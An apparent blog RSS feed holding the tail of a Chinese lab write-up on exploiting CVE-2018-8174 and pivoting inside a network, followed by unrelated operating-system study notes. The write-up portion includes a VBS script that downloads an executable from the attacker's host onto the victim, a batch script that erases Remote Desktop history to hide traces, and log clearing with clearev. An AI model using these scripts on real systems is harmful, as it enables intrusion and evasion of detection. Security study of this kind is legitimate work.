&lt;h2 id=&quot;clearev命令&quot;&gt;clearev命令&lt;/h2&gt;

&lt;p&gt;未清除时Windows 7(192.168.114.138)中的日志&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-7dbbc8e48c1b0fda.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-6e5c79b1f2457ee9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-0196e1b5cb721c92.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;脚本分析&quot;&gt;脚本分析&lt;/h1&gt;
&lt;h2 id=&quot;目标机器下载程序的vbs脚本&quot;&gt;目标机器下载程序的vbs脚本&lt;/h2&gt;

&lt;p&gt;注: 使用&lt;code class=&quot;highlighter-rouge&quot;&gt;service apache2 start&lt;/code&gt;将kali linux apache2服务打开，可以使之充当服务器，将需要上传的文件放在&lt;code class=&quot;highlighter-rouge&quot;&gt;/var/www/html&lt;/code&gt;目录下&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;url = &quot;http://192.168.114.130/SQL.exe&quot;    '网络上的文件地址
saveas = &quot;C:\hack\SQL.exe&quot;                '保存成的本地文件
Set xmlhttp = CreateObject(&quot;Microsoft.XMLHTTP&quot;) '创建HTTP请求对象
Set stream = CreateObject(&quot;ADODB.Stream&quot;)       '创建ADO数据流对象
Call xmlhttp.open(&quot;GET&quot;,url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;清除3389远程桌面连接记录的批处理脚本&quot;&gt;清除3389远程桌面连接记录的批处理脚本&lt;/h2&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@cls ::清屏
@color 0b ::设置默认的控制台前景和背景颜色
::REM清除mstsc历史记录
echo off ::echo off执行以后，后面所有的命令均不显示，但本条命令是显示的
mstsc
reg delete &quot;HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default&quot; /f 
reg delete &quot;HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers&quot; /f
cd /d %USERPROFILE%
del *.rdp /a/s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;解释:
/f: 不提示
/a: 删除隐藏文件&lt;/p&gt;

&lt;h1 id=&quot;如何防御&quot;&gt;如何防御&lt;/h1&gt;

&lt;p&gt;1.不要打开任何来源不明的链接或Office文档&lt;/p&gt;

&lt;p&gt;2.及时更新并安装微软发布的最新补丁&lt;/p&gt;

&lt;p&gt;3.定期查看日志和管理用户界面&lt;/p&gt;

&lt;p&gt;4.及时更新杀毒软件，并对计算机进行杀毒&lt;/p&gt;
</description>
        <pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2019/01/01/CVE-2018-8174%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%94%BB%E5%87%BB/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2019/01/01/CVE-2018-8174%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%94%BB%E5%87%BB/</guid>
        
        <category>web安全</category>
        
        
      </item>
    
      <item>
        <title>计算机操作系统学习</title>
        <description>&lt;h1 id=&quot;第一章-操作系统引论&quot;&gt;第一章 操作系统引论&lt;/h1&gt;
&lt;h2 id=&quot;操作系统的定义&quot;&gt;操作系统的定义&lt;/h2&gt;

&lt;p&gt;操作系统是一组能有效地组织和管理计算机硬件和软件资源，\
合理地对各类作业进行调度，以及方便用户使用的程序的集合&lt;/p&gt;

&lt;h2 id=&quot;操作系统的目标&quot;&gt;操作系统的目标&lt;/h2&gt;

&lt;p&gt;==&lt;strong&gt;方便性&lt;/strong&gt;==、==&lt;strong&gt;有效性&lt;/strong&gt;==、可扩充性、开放性&lt;/p&gt;

&lt;p&gt;有效性: 提高系统资源的利用率、提高系统的吞吐量&lt;/p&gt;

&lt;h2 id=&quot;引入os的目的&quot;&gt;引入OS的目的&lt;/h2&gt;

&lt;p&gt;为多道程序的运行提供良好的运行环境，以保证多道程序能有条不紊地、高效地运行，\
并能最大程度地提高系统中各种资源的利用率。方便用户的使用&lt;/p&gt;

&lt;h2 id=&quot;操作系统的作用&quot;&gt;操作系统的作用&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;OS作为用户和计算机硬件系统之间的接口&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
  &lt;li&gt;用户有三种方式使用计算机: 命令方式、系统调用方式、图标-窗口方式&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
  &lt;li&gt;OS作为计算机系统资源的管理者&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
  &lt;li&gt;处理机管理: 用于分配和控制处理机&lt;/li&gt;
  &lt;li&gt;存储器管理: 负责内存的分配与回收&lt;/li&gt;
  &lt;li&gt;I/O设备管理: 负责I/O设备的分配(回收)与操纵&lt;/li&gt;
  &lt;li&gt;文件管理: 用于实现对文件的存取、共享和保护&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
  &lt;li&gt;OS实现了对计算机资源的抽象&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;推动操作系统发展的主要动力&quot;&gt;推动操作系统发展的主要动力&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;不断提高计算机资源利用率&lt;/li&gt;
  &lt;li&gt;方便用户&lt;/li&gt;
  &lt;li&gt;器件的不断更新换代&lt;/li&gt;
  &lt;li&gt;计算机体系结构的不断发展&lt;/li&gt;
  &lt;li&gt;不断提出新的应用需求&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;操作系统的发展过程&quot;&gt;操作系统的发展过程&lt;/h2&gt;
&lt;h3 id=&quot;人工方式&quot;&gt;人工方式&lt;/h3&gt;
&lt;p&gt;缺点: 用户独占全机、CPU等待人工操作&lt;/p&gt;
&lt;h3 id=&quot;脱机输入输出方式&quot;&gt;脱机输入/输出方式&lt;/h3&gt;
&lt;blockquote&gt;
  &lt;p&gt;事先将装有用户程序和数据的纸带装入纸带输入机，在一台外围机的控制下，把纸带上的数据输入到磁带上。\
CPU在需要时，从磁带上高速地调入内存。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;优点: 减少了CPU的空闲时间、提高了I/O速度&lt;/p&gt;

&lt;h3 id=&quot;单道批处理系统&quot;&gt;单道批处理系统&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;在系统运行过程中，内存中只有一个用户作业存在；&lt;/li&gt;
  &lt;li&gt;把一批作业脱机输入到磁带上；&lt;/li&gt;
  &lt;li&gt;系统配上监督程序；&lt;/li&gt;
  &lt;li&gt;在监督程序的控制下使这批作业能一个接一个的连续得到处理；&lt;/li&gt;
  &lt;li&gt;处理机使用权在监督程序和用户程序间转换。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;特征: 自动性、顺序性、单道性&lt;/p&gt;

&lt;p&gt;缺点: 系统中的资源得不到充分的利用。因为在内存中仅有一道程序，每逢该程序在运行中发出I/O请求后，\
CPU便处于等待状态，必须在其I/O完成后才继续运行&lt;/p&gt;

&lt;h3 id=&quot;多道批处理系统&quot;&gt;多道批处理系统&lt;/h3&gt;

&lt;p&gt;过程: 作业先存放在外存上并排成一个队列，称为“后备队列”；然后，由作业调度程序按一定的算法\
从后备队列中选择若干个作业调入内存，使它们共享CPU和系统中的各种资源。&lt;/p&gt;

&lt;p&gt;优缺点:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;资源利用率高&lt;/li&gt;
  &lt;li&gt;系统吞吐量大&lt;/li&gt;
  &lt;li&gt;可提高内存和I/O设备利用率&lt;/li&gt;
  &lt;li&gt;平均周转时间长&lt;/li&gt;
  &lt;li&gt;无交互能力&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;多道批处理系统需要解决的问题:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;处理机争用问题&lt;/li&gt;
  &lt;li&gt;内存分配和保护问题&lt;/li&gt;
  &lt;li&gt;I/O设备分配问题&lt;/li&gt;
  &lt;li&gt;文件的组织和管理问题&lt;/li&gt;
  &lt;li&gt;作业管理问题&lt;/li&gt;
  &lt;li&gt;用户与系统的接口问题&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fxze6tbtw6j31fr0u0kez.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;分时系统&quot;&gt;分时系统&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;分时系统是指，在一台主机上连接了多个配有显示器和键盘的终端并由此所组成的系统，\
该系统允许多个用户同时通过自己的终端，以交互方式使用计算机，共享主机中的资源&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;分时系统实现中的关键问题:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;及时接收&lt;/li&gt;
  &lt;li&gt;及时处理&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;为实现人——机交互，采用下面的运行方式:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;作业直接进入内存&lt;/li&gt;
  &lt;li&gt;采用==时间片==轮转的运行方式。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fxzfclqsw9j31700jkh0x.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;影响响应时间的因素:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;终端数目多少&lt;/li&gt;
  &lt;li&gt;调度算法（时间片的选取）&lt;/li&gt;
  &lt;li&gt;信息交换量和信息交换速度&lt;/li&gt;
  &lt;li&gt;机器处理能力&lt;/li&gt;
  &lt;li&gt;请求服务的时间长短及服务请求的分布&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;实时系统&quot;&gt;实时系统&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;实时系统是指系统能及时响应外部事件的请求，在规定的时间内完成对该事件的处理，并控制所有实时任务协调一致地运行&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;实时系统的类型:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;工业(武器)控制系统&lt;/li&gt;
  &lt;li&gt;信息查询系统&lt;/li&gt;
  &lt;li&gt;多媒体系统&lt;/li&gt;
  &lt;li&gt;嵌入式系统&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;实时任务的类型:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;周期性实时任务和非周期性实时任务&lt;/li&gt;
  &lt;li&gt;硬实时任务和软实时任务&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;实时系统与分时系统特征的比较&quot;&gt;实时系统与分时系统特征的比较&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fxzg9dyy7oj31go0u0gti.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;微机操作系统&quot;&gt;微机操作系统&lt;/h2&gt;
&lt;h3 id=&quot;单用户单任务操作系统&quot;&gt;单用户单任务操作系统&lt;/h3&gt;
&lt;p&gt;只允许一个用户上机，且只允许用户程序作为一个任务运行&lt;/p&gt;

&lt;h3 id=&quot;单用户多任务操作系统&quot;&gt;单用户多任务操作系统&lt;/h3&gt;
&lt;p&gt;只允许一个用户上机，但允许用户把程序分为若干个任务，使它们并发执行&lt;/p&gt;

&lt;h3 id=&quot;多用户多任务操作系统&quot;&gt;多用户多任务操作系统&lt;/h3&gt;
&lt;p&gt;允许多个用户通过各自的终端，使用同一台机器共享主机系统中的各种资源，\
而每个用户程序又可进一步分为几个任务，使它们能并发执行，\
从而可进一步提高资源利用率和系统吞吐量&lt;/p&gt;

&lt;h2 id=&quot;操作系统的基本特性&quot;&gt;操作系统的基本特性&lt;/h2&gt;
&lt;h3 id=&quot;并发&quot;&gt;并发&lt;/h3&gt;

&lt;p&gt;==并行性==: 两个或多个事件在同一时刻发生&lt;/p&gt;

&lt;p&gt;==并发性==: 两个或多个事件在同一时间间隔内发生&lt;/p&gt;

&lt;p&gt;程序的并发执行，有效地改善了系统资源的利用率和提高了系统的吞吐量，\
但它使系统复杂化，操作系统必须具有控制和管理各种并发活动的能力。&lt;/p&gt;

&lt;p&gt;==进程==: 在系统中能独立运行并作为资源分配的基本单位，它是由一组机器指令、数据和堆栈等组成的，是一个能独立运行的活动实体。多个进程之间可以并发执行和交换信息。&lt;/p&gt;

&lt;h3 id=&quot;共享&quot;&gt;共享&lt;/h3&gt;
&lt;p&gt;资源共享指系统中的资源可供内存中多个并发执行的进程共同使用&lt;/p&gt;

&lt;p&gt;==互斥共享方式==&lt;/p&gt;

&lt;p&gt;临界资源: 在一段时间内只允许一个进程访问的资源&lt;/p&gt;

&lt;p&gt;==同时访问方式==&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;==并发==和==共享==是多用户(多任务)OS的两个最基本的特征&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;虚拟&quot;&gt;虚拟&lt;/h3&gt;

&lt;p&gt;通过某种技术将一个物理实体变为若干个逻辑上的对应物&lt;/p&gt;

&lt;p&gt;==时分复用技术==: 利用某设备为一用户服务的==空闲时间==，又转去为其他用户服务&lt;/p&gt;

&lt;p&gt;虚拟处理机技术、虚拟设备技术&lt;/p&gt;

&lt;p&gt;==空分复用技术==: 利用存储器的==空闲空间==分区域存放和运行其它的多道程序&lt;/p&gt;

&lt;p&gt;虚拟存储技术&lt;/p&gt;

&lt;h3 id=&quot;异步&quot;&gt;异步&lt;/h3&gt;

&lt;p&gt;进程以不可预知的速度向前推进&lt;/p&gt;

&lt;h2 id=&quot;操作系统的主要功能&quot;&gt;操作系统的主要功能&lt;/h2&gt;
&lt;h3 id=&quot;处理机管理功能&quot;&gt;处理机管理功能&lt;/h3&gt;
&lt;p&gt;处理机的分配和运行都是以==进程==为基本单位的&lt;/p&gt;

&lt;p&gt;处理机管理的主要功能有:
创建和撤销进程，对诸进程的运行进行协调，\
实现进程之间的信息交换，以及按照一定算法把处理机分配给进程&lt;/p&gt;

&lt;p&gt;==进程控制==: 为作业创建进程、撤销(终止)已结束的进程，\
以及控制进程在运行过程中的状态转换&lt;/p&gt;

&lt;p&gt;==进程同步(信号量机制)==: 为多个进程(含线程)的运行进行协调&lt;/p&gt;

&lt;p&gt;协调方式: 进程互斥方式、进程同步方式&lt;/p&gt;

&lt;p&gt;进程同步方式: 在相互合作去完成共同任务的诸进程间，由同步机构对它们的执行次序加以协调&lt;/p&gt;

&lt;p&gt;==进程通信==: 实现相互合作进程之间的信息交换&lt;/p&gt;

&lt;p&gt;==调度==: 作业调度、进程调度&lt;/p&gt;

&lt;h3 id=&quot;存储器管理功能&quot;&gt;存储器管理功能&lt;/h3&gt;

&lt;p&gt;主要任务: 为多道程序的运行提供良好的环境，提高存储器的利用率，\
方便用户使用，并能从逻辑上扩充内存&lt;/p&gt;

&lt;p&gt;主要功能: 内存分配和回收、内存保护、地址映射和内存扩充&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;==内存分配==:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;主要任务:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;为每道程序分配内存空间&lt;/li&gt;
  &lt;li&gt;提高存储器的利用率&lt;/li&gt;
  &lt;li&gt;允许正在运行的程序申请附加的内存空间&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==静态分配方式==: 运行期间不允许该作业再申请新的内存空间&lt;/p&gt;

&lt;p&gt;==动态分配方式==: 可以在运行过程中申请新的附加内存空间&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;==内存保护==&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;内存保护机制: 设置两个界限寄存器，分别用于存放正在执行程序的上界和下界&lt;/p&gt;

&lt;p&gt;主要任务:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;确保每道用户程序都仅在自己的内存空间内运行，彼此互不干扰&lt;/li&gt;
  &lt;li&gt;绝不允许用户程序访问操作系统的程序和数据，也不允许用户程序转移到非共享的其它用户程序中执行&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
  &lt;li&gt;==地址映射==&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;能够将地址空间中的逻辑地址转换=为内存空间中与之对应的物理地址&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;==内存扩充==&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;请求调入功能&lt;/p&gt;

&lt;p&gt;置换功能&lt;/p&gt;

&lt;h3 id=&quot;设备管理功能&quot;&gt;设备管理功能&lt;/h3&gt;

&lt;p&gt;主要任务:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;完成用户进程提出的I/O请求，为用户进程分配所需的I/O设备，并完成指定的I/O操作&lt;/li&gt;
  &lt;li&gt;提高CPU和I/O设备的利用率，提高I/O速度，方便用户使用I/O设备&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;文件管理功能&quot;&gt;文件管理功能&lt;/h3&gt;

&lt;p&gt;主要任务:&lt;/p&gt;

&lt;p&gt;对用户文件和系统文件进行管理以方便用户使用，并保证文件的安全性。&lt;/p&gt;

&lt;p&gt;功能:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;对文件存储空间的管理&lt;/li&gt;
  &lt;li&gt;目录管理&lt;/li&gt;
  &lt;li&gt;文件的读/写管理&lt;/li&gt;
  &lt;li&gt;文件的共享与保护&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;操作系统与用户之间的接口&quot;&gt;操作系统与用户之间的接口&lt;/h3&gt;

&lt;p&gt;用户接口: 用户通过该接口向作业发出命令以控制作业的运行&lt;/p&gt;

&lt;p&gt;程序接口: 为用户程序在执行中访问系统资源而设置的&lt;/p&gt;

&lt;h1 id=&quot;第二章-进程的描述与控制&quot;&gt;第二章 进程的描述与控制&lt;/h1&gt;
&lt;h2 id=&quot;程序顺序执行时的特征&quot;&gt;程序顺序执行时的特征&lt;/h2&gt;

&lt;p&gt;顺序性、封闭性、可再现性&lt;/p&gt;

&lt;h2 id=&quot;程序并发执行&quot;&gt;程序并发执行&lt;/h2&gt;

&lt;p&gt;只有不存在前趋关系的程序之间才有可能并发执行，否则无法并发执行&lt;/p&gt;

&lt;p&gt;程序并发执行时的特征: ==间断性、失去封闭性、不可再现性==&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwly1fy1evldjfnj30x60kdn1f.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;进程的定义&quot;&gt;进程的定义&lt;/h2&gt;

&lt;p&gt;==进程是程序在一个数据集合上的运行过程，是系统进行资源分配和调度的一个独立的基本单位==&lt;/p&gt;

&lt;p&gt;==进程控制块==(PCB): 描述进程的基本情况和活动过程，进而控制和管理进程&lt;/p&gt;

&lt;p&gt;==进程实体==: 程序段、相关的数据段、PCB&lt;/p&gt;

&lt;p&gt;==创建进程==: 创建进程实体中的PCB；==撤销进程==: 撤销进程的PCB&lt;/p&gt;

&lt;h2 id=&quot;进程的特征&quot;&gt;进程的特征&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;==结构特征==: 程序段、数据段、PCB&lt;/li&gt;
  &lt;li&gt;==动态性==: 进程的实质是进程实体的执行过程。进程实体有一定的生命期&lt;/li&gt;
  &lt;li&gt;==并发性==: 多个进程实体同存于内存中，且能在一段时间内同时运行。\
==引入进程的目的==正是为了使其进程实体能和其它进程实体并发执行&lt;/li&gt;
  &lt;li&gt;==独立性==: 进程实体是一个能独立运行、独立获得资源和独立接收调度的基本单位&lt;/li&gt;
  &lt;li&gt;==异步性==: 进程是按异步方式运行的，按各自独立的、不可预知的速度向前推进&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;进程的基本状态及转换&quot;&gt;进程的基本状态及转换&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;就绪状态: 得到了除CPU以外的所有必要资源&lt;/li&gt;
  &lt;li&gt;执行状态: 已获得处理机，程序正在被执行&lt;/li&gt;
  &lt;li&gt;阻塞状态: 因等待某事件而暂时无法继续执行，从而放弃处理机，\
使程序执行处于暂停状态&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;进程和程序的关系&quot;&gt;进程和程序的关系&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy1fgdaqf8j30db088jro.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;基本状态的转换&quot;&gt;基本状态的转换&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwly1fy1gs2jvtwj30ks0d53yx.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;==创建状态==: 进程已拥有了自己的PCB，但进程自身还未进入主存，\
即创建工作尚未完成，进程还不能被调度运行，其所处的状态。&lt;/p&gt;

&lt;p&gt;==终止状态==：当一个进程到达了自然结束点，或是出现了无法克服的错误，\
或是被操作系统所终结，或是被其他有终止权的进程所终结，它将进入终止状态。&lt;/p&gt;

&lt;p&gt;==挂起操作==&lt;/p&gt;

&lt;p&gt;把一个进程挂起使之处于静止状态，以便研究它的执行情况或对它进行修改&lt;/p&gt;

&lt;p&gt;原因：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;终端用户请求&lt;/li&gt;
  &lt;li&gt;父进程请求&lt;/li&gt;
  &lt;li&gt;负荷调节的需要&lt;/li&gt;
  &lt;li&gt;操作系统的需要&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;状态转换：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;活动就绪→静止就绪&lt;/li&gt;
  &lt;li&gt;静止就绪→活动就绪&lt;/li&gt;
  &lt;li&gt;活动阻塞→静止阻塞&lt;/li&gt;
  &lt;li&gt;静止阻塞→活动阻塞&lt;/li&gt;
  &lt;li&gt;静止阻塞→静止就绪&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;进程控制块&quot;&gt;进程控制块&lt;/h2&gt;
&lt;p&gt;==概念==: 进程控制块是进程实体的重要组成部分，是操作系统中最重要的记录型数据，在进程控制块PCB（Program Contral Block）中记录了操作系统所需要的、用于描述进程情况及控制进程运行所需要的全部信息&lt;/p&gt;

&lt;p&gt;==作用==:&lt;/p&gt;

&lt;p&gt;通过PCB，使得原来不能独立运行的程序（数据），成为一个可以独立运行的基本单位，一个能够并发执行的进程。进程控制块是进程存在的唯一标志。&lt;/p&gt;

&lt;p&gt;==PCB中的信息==:&lt;/p&gt;

&lt;p&gt;进程标识符: 用于唯一地标识一个进程&lt;/p&gt;

&lt;p&gt;处理机状态: 保留进程存放在处理器中的各种信息，主要由处理器内的各个寄存器的内容组成。&lt;/p&gt;

&lt;p&gt;进程调度信息:进程状态、进程优秀级、阻塞原因等等。&lt;/p&gt;

&lt;p&gt;进程控制信息:程序和数据的地址、进程同步和通信机制、资源清单、链接指针&lt;/p&gt;

&lt;p&gt;==PCB的组织方式==&lt;/p&gt;

&lt;p&gt;线性方式&lt;/p&gt;

&lt;p&gt;链接方式: 将具有相同状态的PCB，用其中的链接字，链接成一个队列&lt;/p&gt;

&lt;p&gt;索引方式: 根据进程的状态，建立索引表&lt;/p&gt;

&lt;h2 id=&quot;进程控制&quot;&gt;进程控制&lt;/h2&gt;

&lt;p&gt;进程控制是对系统中所有进程从产生、存在到消亡的全过程实行有效的管理和控制。\
进程控制一般是由操作系统的内核来实现，内核在执行操作时，\
往往是通过执行各种原语操作来实现的&lt;/p&gt;

&lt;h3 id=&quot;操作系统内核&quot;&gt;操作系统内核&lt;/h3&gt;

&lt;p&gt;==内核==: 加在硬件上的第一层软件，通过执行各种原语操作来实现各种控制和管理功能，具有创建、撤消、进程通信、资源管理的功能&lt;/p&gt;

&lt;p&gt;==内核的基本功能==&lt;/p&gt;

&lt;p&gt;支撑功能：中断处理、时钟管理、原语操作&lt;/p&gt;

&lt;p&gt;资源管理功能：进程管理、存贮管理、设备管理&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;==原语==&lt;/strong&gt;：是由若干条机器指令所构成，用以完成特定功能的一段程序 。原语在执行期间是不可分割的或不可中断的。&lt;/p&gt;

&lt;p&gt;创建原语、撤消原语、阻塞原语、唤醒原语&lt;/p&gt;

&lt;h3 id=&quot;进程的创建&quot;&gt;进程的创建&lt;/h3&gt;

&lt;p&gt;==进程之间的关系==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;父、子进程与祖先进程: PCB中标识&lt;/li&gt;
  &lt;li&gt;继承/归还资源: “父”创建“子”、父撤子消&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==引起创建进程的事件==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;用户登录 :在分时系统中，用户在终端键入登录命令&lt;/li&gt;
  &lt;li&gt;作业调度:在批处理系统中，当作业调度程序按一定的算法调度到某作业&lt;/li&gt;
  &lt;li&gt;提供服务:用户程序提出某种请求后，系统将专门创建一个进程来提供用户所需要的服务&lt;/li&gt;
  &lt;li&gt;应用请求:它自己创建一个新进程，以便使新进程以并发运行方式完成特定任务&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==进程创建的过程== 
（进程创建原语Create()）&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;申请一个空白PCB,为新进程申请获得唯一的数字标识符(PID)&lt;/li&gt;
  &lt;li&gt;为新进程分配资源&lt;/li&gt;
  &lt;li&gt;初始化PCB&lt;/li&gt;
  &lt;li&gt;新进程加入到就绪队列&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;进程的终止&quot;&gt;进程的终止&lt;/h3&gt;

&lt;p&gt;==引起进程终止的事件==&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;进程正常结束&lt;/li&gt;
  &lt;li&gt;在进程运行期间，由于出现某些错误和故障而使得进程被迫中止&lt;/li&gt;
  &lt;li&gt;进程应外界的请求而中止运行&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==进程终止的过程== 
（进程终止原语Destroy()）&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;根据被终止进程的标识符，从PCB集合中检索该进程的PCB，读出进程状态。&lt;/li&gt;
  &lt;li&gt;若该进程处于执行状态，则立即终止该进程的执行。&lt;/li&gt;
  &lt;li&gt;若该进程有子孙进程，还要将其子孙进程终止。&lt;/li&gt;
  &lt;li&gt;将该进程所占用的资源回收，归还给其父进程或操作系统。&lt;/li&gt;
  &lt;li&gt;将被终止进程的PCB从所在队列中移出，并撤消该进程的PCB。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;进程的阻塞与唤醒&quot;&gt;进程的阻塞与唤醒&lt;/h3&gt;

&lt;p&gt;==引起进程阻塞的事件==&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;请求系统服务，要求不能立即满足&lt;/li&gt;
  &lt;li&gt;启动某种操作，必须在操作完成后才能继续&lt;/li&gt;
  &lt;li&gt;合作进程提供的新数据尚未到达&lt;/li&gt;
  &lt;li&gt;无新工作可做&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==进程阻塞的过程==
（进程阻塞原语Block()）&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;立即停止执行&lt;/li&gt;
  &lt;li&gt;修改进程控制块中的相关信息&lt;/li&gt;
  &lt;li&gt;把进程控制块插入到阻塞队列&lt;/li&gt;
  &lt;li&gt;转调度程序重新调度&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==引起进程唤醒的事件==&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;请求系统服务得到满足&lt;/li&gt;
  &lt;li&gt;启动某种操作完成&lt;/li&gt;
  &lt;li&gt;新数据已经到达&lt;/li&gt;
  &lt;li&gt;有新工作可做&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==进程唤醒的过程==
  （进程唤醒原语Wakeup()）&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;从阻塞队列中找到该进程&lt;/li&gt;
  &lt;li&gt;修改该进程控制块的相关内容&lt;/li&gt;
  &lt;li&gt;把进程控制块插入到就绪队列&lt;/li&gt;
&lt;/ul&gt;

